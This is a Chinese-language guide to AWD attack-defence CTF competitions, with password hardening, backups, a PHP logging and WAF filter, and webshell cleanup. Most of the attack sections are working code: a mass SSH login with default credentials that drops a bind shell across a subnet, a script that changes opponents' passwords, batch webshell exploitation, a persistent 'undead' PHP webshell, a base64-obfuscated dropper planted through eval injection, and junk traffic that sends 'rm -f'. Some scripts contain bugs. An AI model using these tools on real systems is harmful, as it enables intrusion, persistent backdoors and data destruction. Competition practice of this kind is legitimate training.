# 查看比赛信息、规则
注意赛方的限制比如说提交 flag 的间隔时间,flag 的获取方式,通防的限制,对后门的处理要求等要注意的点,避免 check 丢分
# 改密码
awd 模式每个队伍会有若干台服务器需要维护,如果主办方平台给的密码较为简单存在弱口令或者可能被爆破成功的机会,尽快修改密码,密码主要是三个方面:
- ssh 连接密码即本地密码
passwd {用户名}
做修改即可
- MySQL 登录密码
1. 使用 SET PASSWORD 命令 | |
步骤 1):输入命令mysql -u root -p指定 root 用户登录 MySQL,输入后按回车键输入密码。如果没有配置环境变量,请在 MySQL 的 bin 目录下登录操作。 | |
步骤 2):使用 SET PASSWORD 修改密码命令格式为 set password for username @localhost = password(newpwd); | |
,其中 username 为要修改密码的用户名,newpwd 为要修改的新密码。 | |
2. 使用mysqladmin修改密码 | |
使用 mysqladmin 命令修改 MySQL 的 root 用户密码格式为 mysqladmin -u用户名 -p旧密码 password 新密码。 | |
注意:修改密码的命令中 -uroot 和 -proot 是整体,不要写成 -u root -p root,-u 和 root 间可以加空格,但是会有警告出现,所以就不要加空格了。 | |
3. UPDATE直接编辑user表 | |
步骤 1):输入命令mysql -u root -p指定 root 用户登录 MySQL,输入后按回车键输入密码。如果没有配置环境变量,请在 MySQL 的 bin 目录下登录操作。 | |
步骤 2):输入use mysql;命令连接权限数据库。 | |
步骤 3):输入命令update mysql.user set authentication_string=password('新密码') where user='用户名' and Host ='localhost';设置新密码。 | |
步骤 4):输入 flush privileges; 命令刷新权限。 | |
步骤 5):输入quit;命令退出 MySQL 重新登录,此时密码已经修改为刚才输入的新密码了。 |
- 后台的登录密码
updata admin set user pass=’123456’;
如果密码是默认的尝试别人的能否登录
#-*- coding:utf-8 -*- | |
import paramiko | |
ip = '192.168.1.137' | |
port = '22' | |
username = 'root' | |
passwd = 'toor' | |
# ssh 用户名 密码 登陆 | |
def ssh_base_pwd(ip,port,username,passwd,cmd='ls'): | |
port = int(port) | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
ssh.connect(hostname=ip, port=port, username=username, password=passwd) | |
stdin,stdout,stderr = ssh.exec_command(cmd) | |
result = stdout.read() | |
if not result : | |
print("无结果!") | |
result = stderr.read() | |
ssh.close() | |
return result.decode() | |
a = ssh_base_pwd(ip,port,username,passwd) | |
print(a) |
如果可以登录而且有 python 环境可以尝试使用下面这个 python 批量 ssh 登录并反弹 python shell
#-*- coding:utf-8 -*- | |
import paramiko | |
import threading | |
import queue | |
import time | |
#反弹 shell python | |
q=queue.Queue() | |
#lock = threading.Lock() | |
# ssh 用户名 密码 登陆 | |
def ssh_base_pwd(ip,port,username,passwd,cmd): | |
port = int(port) | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
ssh.connect(hostname=ip, port=port, username=username, password=passwd) | |
stdin,stdout,stderr = ssh.exec_command(cmd) | |
result = stdout.read() | |
if not result : | |
result = stderr.read() | |
ssh.close() | |
return result.decode() | |
def main(x): | |
shell = ''' | |
#服务器端 | |
import socket | |
import os | |
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接 | |
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量 | |
con,addr=s.accept() #接受一个客户端的连接 | |
#print(con,addr) | |
for i in range(10): | |
cmd=con.recv(1024) | |
print(cmd) | |
command=cmd.decode() | |
if command.startswith('cd'): | |
os.chdir(command[2:].strip()) #切换路径 | |
result=os.getcwd() #显示路径 | |
else: | |
result=os.popen(command).read() | |
if result: | |
con.send(result.encode()) | |
else: | |
con.send(b'OK!') | |
''' | |
cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py' | |
port = '22' | |
username = 'root' | |
passwd = 'toor' | |
ip = '192.168.1.{}'.format(x) | |
q.put(ip.strip(),block=True, timeout=None) | |
ip_demo=q.get() | |
#判断是否成功 | |
try: | |
#lock.acquire() | |
res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id') | |
if res: | |
print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]") | |
#lock.release() | |
ssh_base_pwd(ip_demo,port,username,passwd,cmd) | |
except: | |
print("[ - ]Ip: %s" % ip_demo +" is Failed") | |
if x > 255: | |
print("Finshed!!!!!!!!") | |
q.task_done() | |
#线程队列部分 | |
th=[] | |
th_num=255 | |
for x in range(th_num): | |
t=threading.Thread(target=main,args=(x,)) | |
th.append(t) | |
for x in range(th_num): | |
th[x].start() | |
for x in range(th_num): | |
th[x].join() | |
#q.join () 所有任务完成 |
我们改密码是为了防止被别人弱口令爆破,或者密码是默认的情况导致服务器丢失,这里我们也可以尝试去更改别人的密码
import paramiko | |
import sys | |
ssh_clients = [] | |
timeout = 5 | |
new_password = "xcxy@ncwss123" | |
class SSH_Client(): | |
def __init__(self, host, port, username, password): | |
self.is_root = False | |
self.host = host | |
self.port = port | |
self.username = username | |
self.password = password | |
self.ssh = paramiko.SSHClient() | |
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout) | |
def exec_command(self, command): | |
stdin, stdout, stderr = self.ssh.exec_command(command) | |
return stdin, stdout, stderr | |
def change_password(self): | |
stdin, stdout, stderr = self.exec_command("passwd") | |
if self.username != "root": | |
stdin.write("%s\n" % self.password) | |
stdin.write("%s\n" % new_password) | |
stdin.write("%s\n" % new_password) | |
stdout.read() | |
if "success" in stderr.read().decode('utf-8'): | |
self.password = new_password | |
return True | |
else: | |
return False | |
def save_log(self, filename): | |
with open(filename, "a+") as f: | |
f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password)) | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
print("Usage:") | |
print("\t python %s [FILENAME]" % (sys.argv[0])) | |
exit(1) | |
filename = sys.argv[1] | |
print(" [+] Loading file : %s" % filename) | |
with open(filename) as f: | |
for line in f: | |
line = line.rstrip("\n") | |
data = line.split(" ") | |
host = data[0] | |
port = int(data[1]) | |
username = data[2] | |
password = data[3] | |
print(" [+] Trying login : %s" % host) | |
try: | |
ssh_client = SSH_Client(host, port, username, password) | |
except Exception as e: | |
print(" [-] %s" % e) | |
continue | |
ssh_clients.append(ssh_client) | |
print(" [+] Login finished. ") | |
print(" [+} Got [%d] clients. " % len(ssh_clients)) | |
if len(ssh_clients) == 0: | |
exit() | |
print(" [+] Starting changing password. ") | |
for ssh_client in ssh_clients: | |
if ssh_client.change_password(): | |
print(" [+] %s (Success!)" % ssh_client.host) | |
ssh_client.save_log("success.log") | |
else: | |
print(" [+] %s (Failed!)" % ssh_client.host) | |
print(" [+] something like interesting!!! ") |
# 下载源码,备份
使用 ssh 工具保留源码,复制两份,用 d 盾去扫一份
以免网站崩溃的时候无法及时恢复,导致 check 丢分
# 防御
上面提到我们将源码 down 下来后利用 d 盾等工具扫描,将爆出来的 shell 注释修改或者删除等(具体怎么改根据比赛要求)
接着就是监控脚本
<?php | |
error_reporting(0); | |
define('LOG_FILEDIR','/tmp/loooooooogs');// 日志文件目录 | |
if(!is_dir(LOG_FILEDIR)){// 如果目录不存在则创建 | |
mkdir(LOG_FILEDIR);// 创建目录 | |
} | |
function waf() | |
{ | |
if (!function_exists('getallheaders')) { | |
function getallheaders() { // 获取所有的头信息 | |
foreach ($_SERVER as $name => $value) { // 循环获取所有的头信息 | |
if (substr($name, 0, 5) == 'HTTP_') | |
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;// 将头信息的名称替换为小写,并将下划线替换为空格 | |
} | |
return $headers; | |
} | |
} | |
$get = $_GET;// 获取 get 参数 | |
$post = $_POST; // 获取 post 参数 | |
$cookie = $_COOKIE; // 获取 cookie 参数 | |
$header = getallheaders(); // 获取所有的头信息 | |
$files = $_FILES; // 获取所有的上传文件信息 | |
$ip = $_SERVER["REMOTE_ADDR"]; // 获取客户端 ip | |
$method = $_SERVER['REQUEST_METHOD']; // 获取请求方式 | |
$filepath = $_SERVER["SCRIPT_NAME"]; // 获取文件路径 | |
foreach ($_FILES as $key => $value) { // 循环获取所有的上传文件信息 | |
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); // 获取文件内容 | |
file_put_contents($_FILES[$key]['tmp_name'], "virink"); // 写入文件 | |
} | |
unset($header['Accept']);// 删除头信息中的 Accept | |
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);// 将所有的参数合并成一个数组 | |
logging($input);// 调用日志函数 | |
} | |
function logging($var){ // 日志函数 | |
$filename = $_SERVER['REMOTE_ADDR'];// 获取客户端 ip | |
$LOG_FILENAME = LOG_FILEDIR."/".$filename;// 日志文件路径 | |
$time = date("Y-m-d G:i:s");// 获取当前时间 | |
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); // 写入日志文件 | |
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);// 写入日志文件 | |
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);// 写入日志文件 | |
} | |
waf(); | |
?> |
如果可以我们还可以上通防(一般都是不行)
<!-- | |
require_once('waf.php') | |
PHPCMS V9 \phpcms\base.php | |
PHPWIND8.7 \data\sql_config.php | |
DEDECMS5.7 \data\common.inc.php | |
DiscuzX2 \config\config_global.php | |
Wordpress \wp-config.php | |
Metinfo \include\head.php | |
--> | |
<?php | |
function customError($errno, $errstr, $errfile, $errline) { | |
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />"; | |
die(); | |
} | |
set_error_handler("customError", E_ERROR); | |
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; | |
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; | |
$cookiefilter="\\b(and|or)\\b.{1.6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; | |
function DefendAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) { | |
if(is_array($StrFiltValue)) { | |
$StrFiltValue = implode($StrFiltValue); | |
} | |
if(preg_match("/".$ArrFiltReq."/is", $StrFiltValue)==1) { | |
//slog ("<br><br > 操作 IP:".$_SERVER ["REMOTE_ADDR"]."<br > 操作时间:".strftime ("% Y-% m-% d % H:% M:% S")."<br > 操作页面:".$_SERVER ["PHP_SELF"]."<br > 提交方式:".$_SERVER ["REQUEST_METHOD"]."<br > 提交参数:".$StrFiltKey."<br > 提交参数:".$StrFiltValue); | |
print "360WebSec notice: Illegal operation!"; | |
exit(); | |
} | |
} | |
//$ArrPGC = array_merge($_GET, $_POST, $_COOKIE); | |
foreach ($_GET as $key => $value) { | |
DefendAttack($key, $value, $getfilter); | |
} | |
foreach ($_POST as $key => $value) { | |
DefendAttack($key, $value, $postfilter); | |
} | |
foreach ($_COOKIE as $key => $value) { | |
DefendAttack($key, $value, $cookiefilter); | |
} | |
if (file_exists(filename)) { | |
# code... | |
} | |
function slog($logs) { | |
$toppath = $_SERVER["DOCUMENT_ROOT"]."/log.htm"; | |
$Ts=fopen($toppath, "a+"); | |
fputs($Ts, $logs."\r\n"); | |
fclose($Ts); | |
} | |
?> |
对于别人上传过来的不死马进行处理
- 杀死进程,可以使用 ps aux 命令 列出所有进程,找到要杀掉的进程运用命令,kill pid 就可以了
- 通过条件竞争写入无效内容或者删除不死马文件,代码如下(竞争写入无关内容,config 是木马名)
<?php | |
ignore_user_abort(true); | |
set_time_limit(0); | |
unlink(__FILE__); | |
$file = '.config.php'; | |
$code = '???'; | |
//pass=pass | |
while (1){ | |
file_put_contents($file,$code); | |
system('touch -m -d "2018-12-01 09:10:12" .config.php'); | |
usleep(50); | |
} | |
?> |
当然最好的防御还是攻击
# 利用漏洞攻击
d 盾扫出来的 shell 只要手快还是可以先打一波的,可以在赛前提前写好简单的 shell 利用批量化脚本
import fontTools.afmLib | |
import requests | |
import json | |
import re | |
with open("url.txt","r") as url1: | |
data=url1.readlines() | |
paylaod2 = {"flag": ""} | |
header2 = { | |
"token": "", | |
"Cookie": ""} | |
#平台 url | |
url2 = "" | |
while True: | |
for i in data: | |
urlpro="http://{}/.a.php?c=system('cat /flag.txt');".format(i) | |
res=requests.get(urlpro) | |
#print(urlpro) | |
p=re.compile("flag.*}") | |
a="".join(p.findall(res.text)) | |
print(a) | |
paylaod2["flag"] = a | |
# print(paylaod2) | |
# post 请求 | |
res2 = requests.post(url2, paylaod2, headers=header2) |
当然这样可能只能拿到一轮的分数,所以我们可以上传不死马,下面是一个常用的 MD5 不死马
<?php | |
ignore_user_abort(true);// 设置与客户机断开是否会终止脚本的执行,这里设置为 true 则忽略与用户的断开,即使与客户机断开脚本仍会执行。 | |
set_time_limit(0);// 设置脚本最大执行时间,这里设置为 0,即没有时间方面的限制 | |
unlink(__FILE__);// 删除文件本身,以起到隐蔽自身的作用 | |
$file = '.config.php'; | |
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[xcu]);} ?>'; | |
//pass=pass | |
while (1){ | |
file_put_contents($file,$code); | |
system('touch -m -d "2018-12-01 09:10:12" .config2.php'); | |
system('chmod 777 .config.php'); | |
usleep(0); | |
}//while 循环中每隔 usleep (0) 即写新的后门文件,system 命令用于修改文件的创建时间或修改时间,因为在 AWD 比赛中有的队伍使用 | |
?> |
import time | |
import requests | |
import json | |
with open("url.txt", "r") as f: | |
data = f.readlines() | |
print(data) | |
nodie = "PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo=" | |
poc = "fputs(fopen('/var/www/html/nodie.php','w'),base64_decode('PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo='));" | |
header2={"token":"", | |
"Cookie":""} | |
#提交 flag | |
url4="" | |
payload2={"flag":""} | |
payload3={"xcu":"system('cat /flag.txt');"} | |
while True: | |
for i in data: | |
#执行命令 | |
url1 = "http://{}?a="+poc.format(i) | |
#print(url1) | |
res1 = requests.get(url1) | |
url2 = "http://{}/nodie.php".format(i) | |
#print(url2) | |
res2 = requests.get(url2) | |
url3 = "http://{}/.config1.php".format(i) | |
#print(url3) | |
res3 = requests.post(url3,payload3) | |
p = res3.compile("flag.*}") | |
a = "".join(p.findall(res.text)) | |
#print(a) | |
# 将 a 存入 paylaod2 中 | |
paylaod2["flag"] = a | |
#time.sleep(1) | |
# print(paylaod2) | |
# post 请求 | |
res2 = requests.post(url4, paylaod2, headers=header2) | |
time.sleep(10) |
防护常见命令
1 ssh <-p 端口> username@ip
2 scp 文件路径 username@ip:存放路径
3 cat /root/.bash_history
4 #显示最近登录的5个帐号
5 last -n 5|awk '{print $1}'
6 #显示/etc/passwd的账户
7 cat /etc/passwd|awk -F ':' '{print $1}'
8 #查看UID为0的帐号
9 awk -F: '{if($3==0)print $1}' /etc/passwd10 #查找777的权限的文件
11 find . -name "*.php" -perm 4777
12 #查找24小时内被修改的PHP文件
13 find ./ -mtime 0 -name "*.php"
14 #查看进程
15 ps aux | grep pid或者进程名
16 #查看已建立的网络连接及进程
17 netstat -antulp | grep EST
18 #查看指定端口被哪个进程占用
19 lsof -i:端口号 或者 netstat -tunlp|grep 端口号
20 #结束进程命令
21 kill PID
22 killall <进程名>
23 pkill <进程名>
24 pkill -u用户名
25 #封杀某个IP或者ip段
26 iptables -I INPUT -s source_ip[/mask] -j DROP
27 #禁止从某个主机ssh远程访问登陆到本机
28 iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP
29 #备份mysql数据库
30 mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
31 mysqldump --all-databases > bak.sql
32 #还原mysql数据库
33 mysql -u 用户名 -p 密码 数据库名 < bak.sql
34 #定时任务,在固定的时间间隔执行指定的系统指令或shell script
35 crontab [-u user] file_name
36 crontab [-u user] [-e |-l| -r]
37 #检测所有的tcp连接数量及状态
38 netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn
39 #查看页面访问排名前十的IP
40 cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head -
41 #查看页面访问排名前十的URL
42 cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -
# 最后
是要做一名合格的搅屎棍
恶心别人,核心就是发送大量垃圾数据包给别人 ,让别人无法正常观察流量捕捉 payload ,此招就是干扰对手利用他人的 payload 给对手造成干扰。但是有些比赛可能也会禁止。
我们拿到 shell 后在规则允许的情况我们可以删除别人的文件,别人 check 丢分也相当于自己加分。
import requests | |
import time | |
def scan_attack(): | |
file={'shell.php','x.php','index.php','web.php','1.php'} | |
payload={'cat /flag','ls -al','rm -f','echo 1'} | |
while(1): | |
for i in range(8802, 8804): | |
for ii in file: | |
url='http://192.168.76.156:'+ str(i)+'/'+ii | |
for iii in payload: | |
data={ | |
'payload':iii | |
} | |
try: | |
requests.post(url,data=data) | |
print("正在搅屎:"+str(i)+'|'+ii+'|'+iii) | |
time.sleep(0.5) | |
except Exception as e: | |
time.sleep(0.5) | |
pass | |
if __name__ == '__main__': | |
scan_attack() |
最后的最后,准备 - 漏洞资源 - 漏洞资料库(比赛能不能联网无法确定,如刚结束的河南省赛,虽然允许联网,但是大部分博客平台被加入了黑名单)